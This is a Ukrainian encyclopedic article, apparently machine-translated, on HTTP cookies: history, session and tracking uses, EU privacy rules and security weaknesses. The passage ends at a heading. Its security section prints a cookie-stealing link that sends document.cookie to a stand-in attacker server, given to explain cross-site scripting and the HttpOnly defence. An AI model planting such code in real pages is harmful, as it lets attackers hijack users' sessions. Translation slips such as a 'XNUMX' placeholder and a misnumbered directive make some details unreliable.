in ,

Інтернет-куки: що це таке? Визначення, походження, типи та конфіденційність

Яка роль файлу cookie, що це таке та які типи файлів cookie існують? 🍪

Інтернет-куки: що це таке? Визначення, походження, типи та конфіденційність
Інтернет-куки: що це таке? Визначення, походження, типи та конфіденційність

Un cookie або веб-cookie (Або печиво, скорочено як свідок у Квебеку) визначається протоколом зв’язку HTTP як послідовність інформації, що надсилається HTTP-сервером HTTP-клієнту, яку останній повертає щоразу, коли запитується той самий HTTP-сервер за певних умов.

Файл cookie є еквівалентом a невеликий текстовий файл, що зберігається на терміналі користувача Інтернету. Існуючи понад 20 років, вони дозволяють розробникам веб-сайтів зберігати дані користувачів, щоб полегшити їхню навігацію та дозволити певні функції. Файли cookie завжди викликали більш-менш суперечки, оскільки вони містять залишкову особисту інформацію, яка потенційно може бути використана третіми особами.

Він надсилається як HTTP-заголовок веб-сервером веб-браузеру, який повертає його без змін кожного разу, коли отримує доступ до сервера. Cookie можна використовувати для аутентифікація, сеанс (державне утримання), а за зберігати конкретну інформацію про користувача, як-от налаштування сайту або вміст електронного кошика для покупок. Термін cookie походить від чарівне печиво, добре відома концепція в обчисленнях UNIX, яка надихнула ідею та назву файлів cookie браузера. Існує кілька альтернатив файлам cookie, кожна з яких має свої особливості використання, переваги та недоліки.

Будучи простими текстовими файлами, файли cookie не можна виконати. Вони не ні шпигунських програм, ні вірусів, хоча файли cookie з деяких сайтів виявляються багатьма антивірусними програмами, оскільки вони дозволяють відстежувати користувачів, коли вони відвідують кілька сайтів. 

Більшість сучасних браузерів дозволяють користувачам вирішити, прийняти чи відхилити файли cookie. Користувачі також можуть вибрати, як довго зберігати файли cookie. Однак повна відмова від файлів cookie робить деякі сайти непридатними для використання. Наприклад, зберігати кошики для покупок або сайти, які вимагають входу за допомогою облікових даних (ім’я користувача та пароль).

Зміст

Історичний

Термін cookie походить від англійського терміна чарівне печиво, який є пакетом даних, який програма отримує та повертає без змін. Файли cookie вже використовувалися в ІТ Лу Монтуллі виникла ідея використовувати їх у веб-комунікації у червні 1994. У той час він працював у компанії Netscape Communications, яка розробила програму електронної комерції для клієнта. Файли cookie дали рішення проблеми надійності реалізації віртуального кошика магазину.

Того ж року Джон Джаннандреа та Лу Монтуллі написали першу специфікацію cookie Netscape. Бета-версія 0.9 Mosaic Netscape, випущена 13 жовтня 1994 року, інтегрована технологія cookie (дивіться пост). Перше (не експериментальне) використання файлів cookie полягало в тому, щоб визначити, чи відвідували відвідувачі веб-сайту Netscape раніше. Монтуллі подав заявку на патент на технологію печива в 1995 році, і патент США 5774670 був виданий. надано в 1998 році.

Після реалізації в бета-версії Netscape 0.9 у 1994 році файли cookie були інтегровані в Internet Explorer 2, випущений у жовтні 1995 року.

Поява файлів cookie ще не була широко відома громадськості. Зокрема, файли cookie приймалися за замовчуванням у налаштуваннях браузера, а користувачі не повідомлялися про їх наявність. Деякі люди знали про існування файлів cookie приблизно в першому кварталі 1995 року, але широка громадськість дізналася про їх існування лише після того, як Financial Times опублікувала статтю 12 лютого 1996 року. У тому ж році файли cookie привернули велику увагу ЗМІ через можливе порушення конфіденційності. Тема файлів cookie обговорювалася на двох консультаціях Американської федеральної торгової комісії в 1996 і 1997 роках.

Розробка офіційної специфікації файлів cookie вже тривала. Перші обговорення офіційної специфікації відбулися в квітні 1995 року в списку розсилки www-talk. Була створена спеціальна робоча група IETF. Брайан Белендорф і Девід Крістол запропонували дві альтернативні пропозиції щодо введення стану в HTTP-транзакції відповідно, але група під керівництвом самого Крістола вирішила використовувати специфікацію Netscape як відправну точку. У лютому 1996 року робоча група визначила, що сторонні файли cookie становлять серйозну загрозу конфіденційності. Специфікація, розроблена групою, була зрештою опублікована як RFC 2109.

З кінця 2014 року ми бачимо банер про файли cookie на багатьох сайтах. Існує принаймні одне розширення браузера, яке дозволяє банер не відображається.

Типи файлів cookie та використання

Керування сеансами

Файли cookie можна використовувати для збереження даних користувача під час навігації, а також під час кількох відвідувань. Файли cookie були запроваджені, щоб забезпечити засоби реалізації електронних візків для покупок, віртуального пристрою, у якому користувач може накопичувати товари, які він хоче купити під час перегляду сайту.

У наші дні такі програми, як візки для покупок, замість цього зберігають список товарів у базі даних на сервері, що є кращим; ніж зберігати їх у файлі cookie. Веб-сервер надсилає файл cookie, що містить унікальний ідентифікатор сеансу. Потім веб-браузер повертає цей ідентифікатор сеансу під час кожного наступного запиту, а елементи в кошику зберігаються та пов’язуються з тим самим унікальним ідентифікатором сеансу.

Часте використання файлів cookie корисно для входу на сайт за допомогою облікових даних. Коротше кажучи, веб-сервер спочатку надсилає файл cookie, що містить унікальний ідентифікатор сеансу. Потім користувачі вводять свої облікові дані (зазвичай це ім’я користувача та пароль). Потім веб-програма автентифікує сеанс і дозволяє користувачеві отримати доступ до служби.

втілення

Файли cookie можна використовувати для запам'ятовування інформації про користувача сайту, щоб у майбутньому показувати йому відповідний вміст. Наприклад, веб-сервер може надіслати файл cookie, що містить останнє ім’я користувача, яке використовувалося для входу на цей веб-сайт, щоб ім’я користувача можна було попередньо заповнити під час майбутніх відвідувань.

Багато веб-сайтів використовують файли cookie для персоналізації на основі вподобань користувачів. Користувачі вибирають свої параметри у формі та надсилають їх на сервер. Сервер кодує налаштування у файлі cookie та надсилає його назад у браузер. Згодом, кожного разу, коли користувач відкриває сторінку цього сайту, браузер повертає файл cookie і, отже, список налаштувань; потім сервер може налаштувати сторінку відповідно до вподобань користувача. Наприклад, веб-сайт Wikipedia дозволяє користувачам вибирати оформлення сайту, який їм подобається. Пошукова система Google дозволяє своїм користувачам (навіть якщо вони не зареєстровані) вибирати кількість результатів, які вони хочуть бачити на кожній сторінці результатів.

Відстеження

Відстежувальні файли cookie використовуються для відстеження звичок веб-перегляду користувачів Інтернету. Це також можна зробити частково за допомогою IP-адреси комп’ютера, який надсилає запит на сторінку, або за допомогою HTTP-заголовка «referrer», який клієнт надсилає з кожним запитом, але файли cookie забезпечують більшу точність. Це можна зробити, як показано в наступному прикладі:

  1. Якщо користувач відкриває сторінку на сайті, а запит не містить файлу cookie, сервер припускає, що це перша сторінка, яку відвідав користувач. Потім сервер створює випадковий рядок і надсилає його в браузер разом із запитуваною сторінкою.
  2. З цього моменту файл cookie буде автоматично надсилатися браузером кожного разу, коли відкривається нова сторінка сайту. Сервер надішле сторінку як зазвичай, але також запише URL-адресу викликаної сторінки, дату, час запиту та файл cookie у файл журналу.

Переглядаючи файл журналу, можна побачити, які сторінки відвідав користувач і в якому порядку. Наприклад, якщо файл містить кілька запитів, зроблених за допомогою файлу cookie id=abc, це може підтвердити, що всі ці запити надходять від одного користувача. Запитана URL-адреса, дата й час, пов’язані із запитами, дозволяють відстежувати перегляд користувача.

Сторонні файли cookie та веб-маяки, описані нижче, додатково дозволяють відстежувати різні сайти. Відстеження одного сайту зазвичай використовується для статистичних цілей. Навпаки, відстеження на різних сайтах за допомогою сторонніх файлів cookie зазвичай використовується рекламними компаніями для створення анонімних профілів користувачів (які потім використовуються для визначення того, яку рекламу слід показувати користувачеві, а також для надсилання йому електронних листів, що відповідають цій рекламі — СПАМ ).

Файли cookie для відстеження несуть ризик вторгнення в конфіденційність користувача, але їх можна легко видалити. Більшість сучасних браузерів містять опцію автоматичного видалення постійних файлів cookie під час закриття програми.

Сторонні файли cookie

Зображення та інші об’єкти, що містяться на веб-сторінці, можуть розміщуватися на серверах, відмінних від того, на якому розміщена сторінка. Щоб відобразити сторінку, браузер завантажує всі ці об’єкти. Більшість веб-сайтів містять інформацію з різних джерел. Наприклад, якщо ви введете www.example.com у своєму браузері, на частині сторінки часто будуть об’єкти чи реклама, які надходять з інших джерел, тобто з іншого домену, ніж www. .example.com. "Перші" файли cookie - це файли cookie, які встановлюються доменом, указаним в адресному рядку браузера. Сторонні файли cookie встановлюються одним із об’єктів сторінки, який надходить з іншого домену.

За замовчуванням такі браузери, як Mozilla Firefox, Microsoft Internet Explorer і Opera, приймають файли cookie третіх сторін, але користувачі можуть змінити налаштування в параметрах браузера, щоб заблокувати їх. Немає жодного ризику для безпеки, притаманного стороннім файлам cookie, які забезпечують веб-функціональність, однак вони також використовуються для відстеження користувачів. від сайту до сайту.

Такі інструменти, як Ghostery, доступні для всіх браузерів, включаючи Google Chrome, можуть блокувати обмін між третіми сторонами.

Реалізація

Можлива взаємодія між веб-браузером і сервером, на якому розміщена веб-сторінка. Сервер надсилає файл cookie браузеру, а браузер надсилає його назад, коли викликає іншу сторінку.
Можлива взаємодія між веб-браузером і сервером, на якому розміщена веб-сторінка. Сервер надсилає файл cookie браузеру, а браузер надсилає його назад, коли викликає іншу сторінку.

Файли cookie — це невеликі фрагменти даних, які веб-сервер надсилає браузеру. Браузер повертає їх незмінними на сервер, вносячи стан (пам’ять про минулі події) у HTTP-транзакцію без стану. Без файлів cookie кожне отримання веб-сторінки або компонента веб-сторінки є ізольованою подією, незалежною від інших запитів, зроблених до того самого сайту. Крім того, що файли cookie можуть бути встановлені веб-сервером, файли cookie також можуть бути встановлені мовами сценаріїв, такими як JavaScript, якщо вони підтримуються та авторизовані браузером.

Офіційна специфікація файлів cookie передбачає, що браузери повинні мати можливість зберігати та повторно надсилати мінімальну кількість файлів cookie. Зокрема, браузер повинен мати можливість зберігати принаймні 300 файлів cookie по чотири кілобайти кожен і принаймні 20 файлів cookie для одного сервера або домену.

Відповідно до п. 3.1 ст RFC 2965, назви файлів cookie нечутливі до регістру.

Файл cookie може вказувати дату закінчення терміну дії, і в цьому випадку файл cookie буде видалено в цей день. Якщо у файлі cookie не вказано термін дії, файл cookie видаляється, щойно користувач залишає свій браузер. Таким чином, вказівка ​​терміну придатності є способом змусити файл cookie витримати кілька сеансів. З цієї причини файли cookie з терміном придатності називаються такими стійкий. Приклад застосування: сайт роздрібної торгівлі може використовувати постійні файли cookie для запису товарів, які користувачі помістили у свій кошик для покупок (насправді файл cookie може посилатися на запис, збережений у базі даних на сайті продажу, а не на вашому комп’ютері) . Завдяки цьому, якщо користувачі залишають свій браузер, не зробивши покупки, і повертаються до нього пізніше, вони зможуть знову знайти товари в кошику. Якщо ці файли cookie не мають терміну дії, вони закінчаться після закриття браузера, а інформація про вміст кошика буде втрачена.

Cookie-файли можуть бути обмежені певним доменом, субдоменом або шляхом на сервері, який їх створив.

Передача веб-сторінок здійснюється за допомогою протоколу передачі гіпертексту (HTTP). Ігноруючи файли cookie, браузери викликають сторінку з веб-серверів, зазвичай надсилаючи їм коротке текстове повідомлення HTTP запит. Наприклад, щоб отримати доступ до сторінки www.example.org/index.html, браузери підключаються до сервера www.example.org і надсилають запит, який виглядає так:

GET /index.html HTTP/1.1Host: www.example.org
навігаторServeur

Сервер відповідає, надсилаючи запитувану сторінку, якій передує подібний текст, викликаючи всю сторінку Відповідь HTTP. Цей пакет може містити рядки, які вказують браузеру зберігати файли cookie:

HTTP/1.1 200 OKContent-type: text/htmlSet-Cookie: name=value
(HTML-сторінка)
навігаторServeur

Сервер надсилає лише рядок Set-Cookie, якщо сервер хоче, щоб браузер зберіг файл cookie. Set-Cookie — це запит для браузера на збереження рядка name=value і повернення його в усіх майбутніх запитах до сервера. Якщо браузер підтримує файли cookie і файли cookie ввімкнено в параметрах браузера, файли cookie буде включено в усі наступні запити, зроблені на той самий сервер. Наприклад, браузер викликає сторінку www.example.org/news.html, надсилаючи наступний запит на сервер www.example.org:

GET /news.html HTTP/1.1Host: www.example.orgCookie: name=valueAccept: */*
навігаторServeur

Це запит для іншої сторінки з того самого сервера, і він відрізняється від першого вище, оскільки містить рядок, який сервер раніше надіслав у браузер. Завдяки цьому засобу сервер знає, що цей запит пов'язаний з попереднім. Сервер відповідає, надсилаючи викликану сторінку, а також додаючи до неї інші файли cookie.

Значення файлу cookie може бути змінено сервером, надіславши новий рядок Set-Cookie: name=new_value у відповідь на викликану сторінку. Потім браузер замінює старе значення на нове.

Рядок Set-Cookie зазвичай створюється програмою CGI або іншою мовою сценаріїв, а не сервером HTTP. HTTP-сервер (приклад: Apache) лише передаватиме результат програми (документ, якому передує заголовок, що містить файли cookie) у браузер.

Файли cookie також можуть бути встановлені JavaScript або іншими подібними мовами, що працюють у браузері, тобто на стороні клієнта, а не на стороні сервера. У JavaScript для цієї мети використовується об’єкт document.cookie. Наприклад, оператор document.cookie = "temperature=20" створює файл cookie з назвою "temperature" і значенням 20.

Приклад HTTP-відповіді від google.com, яка встановлює файл cookie з атрибутами.
Приклад HTTP-відповіді від google.com, яка встановлює файл cookie з атрибутами.

Окрім пари ім’я/значення, файл cookie також може містити термін дії, шлях, ім’я домену та тип передбачуваного з’єднання, тобто звичайне чи зашифроване. RFC 2965 також визначає, що файли cookie повинні мати обов’язковий номер версії, але зазвичай це опущено. Ці частини даних слідують за парою name=new_value і розділені крапкою з комою. Наприклад, файл cookie може бути створений сервером, надіславши рядок Set-Cookie: name=new_value; expires=дата; шлях=/; домен=.example.org.

Термін дії файлів cookie закінчується, і вони не надсилаються браузером на сервер у таких ситуаціях:

  • Коли браузер закрито, якщо файл cookie не є постійним.
  • Коли закінчився термін дії файлів cookie.
  • Коли термін дії cookie змінено (сервером або сценарієм) на дату в минулому.
  • Коли браузер видаляє файл cookie за запитом користувача.

Третя ситуація дозволяє серверам або сценаріям явно видалити файл cookie. Зауважте, що за допомогою веб-браузера Google Chrome можна дізнатися дату закінчення певного файлу cookie, увійшовши до налаштувань вмісту. Файл cookie, збережений на комп’ютері, цілком може залишатися там протягом кількох десятиліть, якщо не виконати процедуру його видалення.

Стереотипи

З моменту їх появи в Інтернеті багато ідей про файли cookie циркулювало в Інтернеті та ЗМІ. У 1998 році CIAC, група моніторингу комп’ютерних інцидентів Міністерства енергетики Сполучених Штатів, визначила, що вразливість файлів cookie «по суті не існує», і пояснила, що «інформація про походження ваших відвідувань і деталі веб-сторінок, які ви відвідали, вже існують у файлах журналів веб-серверів». У 2005 році Jupiter Research опублікував результати дослідження, в якому значний відсоток респондентів вважали наступні твердження:

  • Печиво схоже вірус, вони заражають жорсткі диски користувачів.
  • Файли cookie генерують спливаючий.
  • Файли cookie використовуються для надсилання спам.
  • Файли cookie використовуються лише для реклами.

Файли cookie не можуть стерти або зчитати інформацію з комп’ютера користувача. Однак файли cookie дають змогу виявити веб-сторінки, відвідані користувачем на певному сайті або групі сайтів. Ця інформація може бути зібрана в профілі користувача, який можна використовувати або перепродавати третім сторонам, що може створити серйозні проблеми з конфіденційністю. Деякі профілі є анонімними, тобто вони не містять особистої інформації, але навіть такі профілі можуть бути сумнівними.

Згідно з тим же дослідженням, великий відсоток користувачів Інтернету не знають, як видалити файли cookie. Однією з причин, чому люди не довіряють файлам cookie, є те, що деякі сайти зловживають аспектом ідентифікації особи файлів cookie та надають цю інформацію іншим джерелам. Значний відсоток цільової реклами та небажаної електронної пошти, яка вважається спамом, надходить із інформації, отриманої з файлів cookie для відстеження.

Налаштування браузера

Більшість браузерів підтримують файли cookie та дозволяють користувачеві їх відключати. Найпоширеніші варіанти:

  • Увімкніть або повністю вимкніть файли cookie, щоб вони постійно приймалися або блокувалися.
  • Дозвольте користувачеві бачити активні файли cookie на певній сторінці, ввівши javascript: alert(document.cookie) в адресний рядок браузера. Деякі браузери включають менеджер файлів cookie для користувача, який може переглядати та вибірково видаляти файли cookie, які наразі зберігаються в браузері.

Більшість браузерів також дозволяють повністю видаляти особисті дані, зокрема файли cookie. Також існують додаткові модулі для контролю дозволів на файли cookie.

Конфіденційність і файли cookie третіх сторін

У цьому вигаданому прикладі рекламна компанія розмістила банери на двох веб-сайтах. Розміщуючи банери на своїх серверах і використовуючи сторонні файли cookie, рекламна компанія може відстежувати навігацію користувача цими двома сайтами.

Файли cookie мають важливе значення для конфіденційності та анонімності веб-користувачів. Незважаючи на те, що файли cookie надсилаються назад лише на сервер, який їх встановив, або на сервер, що належить до того самого домену в Інтернеті, однак веб-сторінка може містити зображення чи інші компоненти, що зберігаються на серверах, що належать до інших доменів. Файли cookie, які встановлюються під час відновлення цих зовнішніх компонентів, називаються сторонні файли cookie. Це включає файли cookie з небажаних спливаючих вікон.

Рекламні компанії використовують сторонні файли cookie для відстеження користувачів на різних сайтах, які вони відвідують. Зокрема, рекламна компанія може відстежувати користувача на всіх сторінках, де вона розмістила рекламні зображення або піксель відстеження. Знання сторінок, відвіданих користувачем, дозволяє рекламній компанії орієнтуватися на рекламні переваги користувача.

Деякі вважають можливість створення профілю користувача порушенням конфіденційності, особливо коли відстеження здійснюється в різних доменах за допомогою сторонніх файлів cookie. З цієї причини деякі країни мають законодавство щодо файлів cookie.

Уряд Сполучених Штатів запровадив суворі правила щодо розміщення файлів cookie у 2000 році після того, як виявилося, що Управління Білого дому з питань політики щодо наркотиків використовує файли cookie для відстеження комп’ютерів користувачів, які переглядають онлайн-рекламу наркотиків. У 2002 році активіст захисту конфіденційності Деніел Брандт виявив, що ЦРУ залишає постійні файли cookie на комп’ютерах, які відвідували його веб-сайти. Отримавши інформацію про це порушення, ЦРУ заявило, що ці файли cookie не були надіслані навмисно, і припинило їх встановлення. 25 грудня 2005 року Брандт виявив, що Агентство національної безпеки (АНБ) залишило два постійних файли cookie на комп’ютерах відвідувачів через оновлення програмного забезпечення. Отримавши повідомлення, АНБ негайно вимкнуло файли cookie.

У Сполученому Королівстві Закон про файли cookie “, який набув чинності 25 травня 2012 року, зобов’язує сайти заявляти про свої наміри, таким чином дозволяючи користувачам вибирати, залишати чи ні залишати сліди свого проходження в Інтернеті. Таким чином, вони можуть бути захищені від націлювання реклами. однак, відповідно до The Guardian, згода користувачів Інтернету не обов’язково є явною; внесено зміни до умов згоди користувача, вносячи його таким чином мається на увазі.

Директива 2002/58 про конфіденційність

Директива 202/58 про конфіденційність та електронні комунікації містить правила щодо використання файлів cookie. Зокрема, пункт 5 статті 3 цієї директиви вимагає, щоб зберігання даних (таких як файли cookie) на комп’ютері користувача можливе лише якщо:

  • користувач інформується про те, як використовуються дані;
  • користувачеві надається можливість відмовитися від цієї операції зберігання. Однак у цій статті також зазначено, що зберігання даних з технічних причин не підпадає під дію цього закону.

Згідно зі звітом від грудня 2003 року, який мав бути введений у дію з жовтня 2004 року, ця директива була лише дуже недосконало реалізована на практиці, згідно зі звітом від грудня XNUMX року, в якому також зазначено, що деякі держави-члени (Словаччина, Латвія, Греція, Бельгія та Люксембург) ще не транспонували директиву у внутрішньому законодавстві.

Згідно з висновком G29 у 2010 році, ця директива, яка, зокрема, обумовлює використання файлів cookie для цілей поведінкової реклами за явною згодою користувача Інтернету, залишається дуже погано застосовуваною. Насправді більшість сайтів роблять це у спосіб, який не відповідає директиві, обмежуючись простим «банером», що інформує про використання «cookie», не надаючи інформації про використання, не розрізняючи «технічні» cookie. "відстежувальних" файлів cookie, а також для того, щоб запропонувати реальний вибір користувачеві, який бажає підтримувати технічні файли cookie (наприклад, файли cookie для керування кошиком покупок) і відмовитися від файлів "відстеження". Фактично, багато сайтів не працюють належним чином, якщо файли cookie відмовляються, що не відповідає директиві 2002/58 або директиві 95/46 (Захист персональних даних).

Директива 2009 / 136 / CE

Цей матеріал було оновлено Директивою 2009/136/EC від 25 листопада 2009 року, в якій зазначено, що «зберігання інформації або отримання доступу до вже збереженої інформації в кінцевому обладнанні абонента або користувача дозволяється лише за умови, що абонент або користувач дав свою згоду після отримання, відповідно до Директиви 95/46/EC, чіткої та повної інформації між іншими щодо цілей обробки». Таким чином, нова директива посилює зобов’язання перед розміщенням файлів cookie на комп’ютері користувача Інтернету.

Однак у попередніх міркуваннях директиви європейський законодавець уточнює: «Якщо це технічно можливо та ефективно, відповідно до відповідних положень Директиви 95/46/EC, згода користувача щодо обробки може бути виражена через використання відповідних налаштувань браузера чи іншої програми». Але насправді жоден браузер на сьогоднішній день не дозволяє відокремити основні технічні файли cookie від необов’язкових, які слід залишити на вибір користувача.

Цю нову директиву було перенесено бельгійськими депутатами в липні 2012 року. Дослідження 2014 року показує, що навіть депутатам важко застосувати обмеження директиви.

P3P

Специфікація P3P включає можливість для сервера встановлювати політику конфіденційності, яка визначає, яку інформацію він збирає та з якою метою. Ця політика включає (але не обмежується) використання інформації, зібраної за допомогою файлів cookie. Згідно з визначенням P3P, браузер може приймати або відхиляти файли cookie, порівнюючи політику конфіденційності з уподобаннями користувача або запитуючи користувача, представляючи заяву про конфіденційність політики конфіденційності, оголошену сервером.

Багато браузерів, включаючи Apple Safari та Microsoft Internet Explorer версії 6 і 7, підтримують P3P, що дозволяє браузеру визначати, чи приймати сторонні файли cookie. Браузер Opera дозволяє користувачам відмовлятися від сторонніх файлів cookie та створювати глобальний спеціальний профіль безпеки для інтернет-доменів. Mozilla Firefox версії 2 відмовився від підтримки P3P, але відновив її у версії 3.

Більшість веб-переглядачів можуть блокувати сторонні файли cookie, щоб підвищити конфіденційність і зменшити відстеження реклами без негативного впливу на роботу користувача в Інтернеті. Багато рекламних агентств пропонують такий варіант відмовитися для цільової реклами, встановивши загальний файл cookie у веб-переглядачі, який дезактивує це націлювання, але таке рішення не є практично ефективним, якщо його дотримуються, оскільки цей загальний файл cookie видаляється, як тільки користувач видаляє ці файли cookie, що скасовує опцію рішення.

Недоліки файлів cookie

Крім проблем конфіденційності, файли cookie також мають деякі технічні недоліки. Зокрема, вони не завжди точно ідентифікують користувачів, вони можуть уповільнити продуктивність сайту, коли їх велика кількість, їх можна використовувати для атак на безпеку, і вони конфліктують із передачею репрезентативного стану, архітектурним стилем програмного забезпечення.

Неточна ідентифікація

Якщо на комп’ютері використовується більше одного браузера, у кожному з них завжди є окремий блок зберігання файлів cookie. Таким чином, файли cookie ідентифікують не особу, а поєднання облікового запису користувача, комп’ютера та веб-браузера. Таким чином, будь-хто може користуватися цими обліковими записами, комп’ютерами чи браузерами, які мають набір файлів cookie. Так само файли cookie не розрізняють кількох користувачів, які використовують той самий обліковий запис користувача, комп’ютер і браузер, наприклад, в «інтернет-кафе» чи будь-якому іншому місці, де надається вільний доступ до комп’ютерних ресурсів.

Але на практиці це твердження в більшості випадків виявляється помилковим, оскільки сьогодні «персональним» комп’ютером (чи смартфоном, чи планшетом, що ще гірше) користується переважно одна особа. завдяки обсягу зібраної інформації досягти персоналізованого націлювання, навіть якщо особу не ідентифіковано.

Файл cookie може бути вкрадений іншим комп’ютером у мережі.

Під час звичайної роботи файли cookie надсилаються назад між сервером (або групою серверів в одному домені) і браузером комп’ютера користувача. Оскільки файли cookie можуть містити конфіденційну інформацію (ім’я користувача, пароль, що використовується для автентифікації тощо), їх значення не повинні бути доступні для інших комп’ютерів. Крадіжка файлів cookie — це акт перехоплення файлів cookie неавторизованою третьою стороною.

Файли cookie можуть бути викрадені за допомогою аналізатора пакетів під час атаки, яка називається захопленням сесії. Трафік у мережі може бути перехоплений і зчитаний комп’ютерами, відмінними від тих, що надсилають і приймають (особливо в незашифрованому публічному просторі Wi-Fi). Цей трафік включає файли cookie, які надсилаються через сеанси за допомогою простого протоколу HTTP. Коли мережевий трафік не зашифровано, зловмисники можуть читати повідомлення інших користувачів у мережі за допомогою «аналізаторів пакетів».

Цю проблему можна подолати шляхом шифрування з’єднання між комп’ютером користувача та сервером за допомогою протоколу HTTPS. Сервер може вказати a безпечний прапор під час встановлення файлу cookie; браузер надсилатиме його лише через захищену лінію, наприклад з’єднання SSL.

Однак багато сайтів, хоч і використовують зашифрований зв’язок HTTPS для автентифікації користувача (тобто сторінки входу), пізніше з міркувань ефективності надсилають файли cookie сеансу та інші дані, як зазвичай, через незашифровані з’єднання HTTP. Таким чином зловмисники можуть перехоплювати файли cookie інших користувачів і видавати себе за них на відповідних сайтах або використовувати їх у атаках на файли cookie.

Сценарій на сайті: файли cookie, якими мають обмінюватися лише сервер і клієнт, надсилаються іншій третій стороні.

Ще один спосіб викрасти файли cookie — створити сценарії для сайтів і змусити сам браузер надсилати файли cookie на шкідливі сервери, які ніколи їх не отримують. Сучасні браузери дозволяють виконувати потрібні частини коду з сервера. Якщо доступ до файлів cookie здійснюється під час виконання, їх значення можуть бути передані в певній формі на сервери, які не повинні мати до них доступ. Шифрування файлів cookie перед надсиланням через мережу не допомагає запобігти атаці.

Цей тип сценаріїв на сайті зазвичай використовується зловмисниками на сайтах, які дозволяють користувачам публікувати вміст HTML. Інтегруючи частину сумісного коду в HTML, зловмисник може отримати файли cookie від інших користувачів. Знання про ці файли cookie можна використати, підключившись до того самого сайту за допомогою вкрадених файлів cookie, таким чином, вас розпізнають як користувача, файли cookie якого було вкрадено.

Одним із способів запобігання таким атакам є використання прапора HttpOnly; це опція, представлена ​​у версії 6 Internet Explorer у PHP, починаючи з версії 5.2.0, яка планується зробити файли cookie недоступними для клієнта поблизу сценарію. Однак веб-розробники повинні враховувати це під час розробки свого сайту, щоб вони були захищені від сценаріїв на сайті.

Іншою загрозою безпеці, яка використовується, є фальсифікація попиту на сайті.

Офіційна технічна специфікація дозволяє надсилати файли cookie лише на сервери домену, з якого вони походять. Однак значення файлів cookie можна надсилати на інші сервери за допомогою засобів, відмінних від заголовків файлів cookie.

Зокрема, такі мови сценаріїв, як JavaScript, зазвичай мають доступ до значень файлів cookie та здатні надсилати довільні значення на будь-який сервер в Інтернеті. Ця можливість створення сценаріїв використовується на веб-сайтах, що дозволяє користувачам публікувати вміст HTML для перегляду іншими користувачами.

Наприклад, зловмисник, що працює в домені example.com, може опублікувати коментар, що містить таке посилання, що вказує на популярний блог, який він інакше не контролює:

<a href="#" onclick="window.location = 'http://exemple.com/stole.cgi?text=' + escape(document.cookie); return false;">Cliquez ici !</a>

Коли інший користувач натискає це посилання, браузер виконує частину коду з атрибутом onclick, тож він замінює рядок document.cookie списком файлів cookie користувача, активних для цієї сторінки. Тому цей список файлів cookie надсилається на сервер example.com, і зловмисник може отримати файли cookie цього користувача.

Цей тип атаки важко виявити на стороні користувача, оскільки сценарій надходить з того самого домену, що встановив файл cookie, і операція надсилання значень, здається, авторизована цим доменом. Вважається, що введення обмежень, що запобігають публікації шкідливого коду, є обов’язком адміністраторів, які керують сайтом такого типу.

Файли cookie не видно клієнтським програмам, таким як JavaScript, якщо вони надіслані з прапорцем HttpOnly. З точки зору сервера єдина відмінність полягає в тому, що в рядку заголовка Set-Cookie додано нове поле, що містить рядок HttpOnly:

Set-Cookie: RMID=732423sdfs73242; expires=Fri, 31-Dec-2010 23:59:59 GMT; path=/; domain=.exemple.net; HttpOnly

Коли браузер отримує такий файл cookie, він має використовувати його в звичайному режимі в наступному обміні HTTP, але не роблячи його видимим для сценаріїв, що виконуються на стороні клієнта. Прапор HttpOnly не є частиною жодної офіційної технічної специфікації та реалізований не у всіх браузерах. Зауважте, що наразі немає способу заборонити читання та запис сеансових файлів cookie методом XMLHTTPRequest.

Модифікація вмісту: зловмисник надсилає недійсний файл cookie на сервер, можливо створений із дійсного файлу cookie, надісланого сервером.

Як тільки файли cookie необхідно зберегти та повернути на сервер без змін, зловмисник може змінити значення файлів cookie, перш ніж вони будуть відправлені назад на сервер. Наприклад, якщо файл cookie містить загальну вартість, яку користувач повинен заплатити за товари, розміщені в кошику для покупок магазину, зміна цього значення наражає сервер на ризик стягнення зловмисника ціни, меншої за початкову. Процес зміни значення файлів cookie називається отруєння печивом і може бути використаний після крадіжки cookie, щоб зробити атаку стійкою.

У методі заміни файлів cookie зловмисник використовує збій браузера, щоб надіслати на сервер недійсний файл cookie.

Однак більшість веб-сайтів зберігають лише ідентифікатор сеансу — випадково згенерований унікальний номер, який використовується для ідентифікації користувача сеансу — у самому файлі cookie, тоді як уся інша інформація зберігається на сервері. У цьому випадку ця проблема значною мірою вирішується.

Очікується, що кожен сайт матиме власні файли cookie, тому один сайт не повинен мати можливість змінювати або створювати файли cookie, пов’язані з іншим сайтом. Помилка безпеки веб-браузера може дозволити зловмисним сайтам порушити це правило. Використання такого недоліку зазвичай називають міжсайтове приготування їжі. Метою таких атак може бути крадіжка ідентифікатора сесії.

Користувачі повинні використовувати останні версії веб-браузерів, у яких ці вразливості практично усунені.

Конфліктний стан між клієнтом і сервером

Використання файлів cookie може спричинити протиріччя між станом клієнта та станом, що зберігається в файлі cookie. Якщо користувач отримує файл cookie та натискає кнопку «Назад» у браузері, стан браузера, як правило, не такий, як до цього отримання. Наприклад, якщо кошик інтернет-магазину створено за допомогою файлів cookie, вміст кошика не може змінитися, коли користувач повертається до історії браузера: якщо користувач натискає кнопку, щоб додати статтю в кошик, і натискає кнопку «Повернутись», ", стаття залишається в цій. Це не може бути наміром користувача, який, безумовно, хоче скасувати додавання статті. Це може призвести до ненадійності, плутанини та помилок. Тому веб-розробники повинні знати про цю проблему та вживати заходів для вирішення подібних ситуацій.

Експерти з безпеки конфіденційності критикували постійні файли cookie за те, що їх термін дії не закінчується досить швидко, що дозволяє веб-сайтам відстежувати користувачів і створювати їхні профілі з часом. Цей аспект файлів cookie також є частиною проблеми викрадення сеансу, оскільки вкрадені постійні файли cookie можуть використовуватися, щоб видати себе за користувача протягом значного періоду часу.

Читайте також: GAFAM: хто вони? Чому вони (іноді) такі страшні?

Альтернативи cookies

Деякі операції, які можна виконувати за допомогою файлів cookie, також можна виконувати за допомогою інших механізмів, які обходять файли cookie або відтворюють видалені файли cookie, що створює проблеми з конфіденційністю так само (або іноді гірше, оскільки вони невидимі), ніж файли cookie.

IP-адреса

